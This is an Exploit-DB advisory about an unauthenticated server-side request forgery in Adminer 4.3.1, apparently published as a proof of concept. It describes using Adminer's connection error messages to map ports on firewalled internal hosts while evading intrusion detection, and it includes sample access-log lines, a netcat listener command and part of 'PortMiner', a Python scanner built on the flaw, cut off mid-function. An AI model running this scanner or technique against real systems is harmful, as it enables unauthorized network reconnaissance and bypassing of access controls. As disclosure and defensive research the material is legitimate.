Exploit-DB #43593
Description: Adminer 4.3.1 - Server-Side Request Forgery
Type: webapps
Platform: php
Date: 2018-01-15
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security           
 


Vendor:
==============
www.adminer.org


Product:
================
Adminer <= v4.3.1 

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.

https://github.com/vrana/adminer/releases/


Vulnerability Type:
===================
Server Side Request Forgery


CVE Reference:
==============
N/A


Security Issue:
================
Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to
identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts
but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself.

Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us.

Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server.
This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections. 

However, sysadmins who check the logs on the server hosting Adminer application will see our port scans.

root@lamp log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"


Details:
==================
By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed.

Port open ==> Lost connection to MySQL server at 'reading initial communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor 
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine actively refused it
Port closed ==> A connection attempt failed. 

This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability.


PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning
Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed. 

Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555


Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name 
from os import system as system_call

#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org 
#=========================
#D1rty0Tis says hi.

#timeout
MAX_TIME=32
#ports to log
port_lst=[]  
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443'] 

BANNER='''
           ____            _   __  __ _                  
          |  _  \         | | |  \/  (_)                 
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
          | |  | (_) | |  | |_| |  | | | | | |  __/ |    
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
       '''                               
   

def info():
    print "\nPortMiner depends on Error messages to determine open/closed ports."
    print "Read operations reported 'timed out' may be open/filtered.\n"


def greet():
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'
    print 'Targets Adminer used for MySQL administration\n'
    print 'by hyp3rlinx - apparition security'
    print '-----------------------------------------------------\n'
    print 'Scan small ranges or single ports or expect to wait.\n'
    print 'Do not scan networks without authorized permission.'
    print 'Author not responsible for abuse/misuse.\n'

    
def chk_ports(p): 
    p=p.replace('-',',')
    port_arg=p.split(',')
    try:
        if len(port_arg)>1:
            if int(port_arg[1]) < int(port_arg[0]):
                print 'Port range not valid.'
                raw_input()
                return
            if int(port_arg[1])>65535:
                print 'Exceeded max Port range 65535.'
                raw_input()
                return
    except Exception as e:
        print str(e)
        return None
    return list(range(int(port_arg[0]),int(port_arg[1])+1))



def log(IP):
    try:
        file=open('PortMiner.txt', 'w')
        file.write(IP+'\n')
        for p in port_lst:
            file.write(p+'\n')
        file.close()
    except Exception as e:
        print str(e)
    pr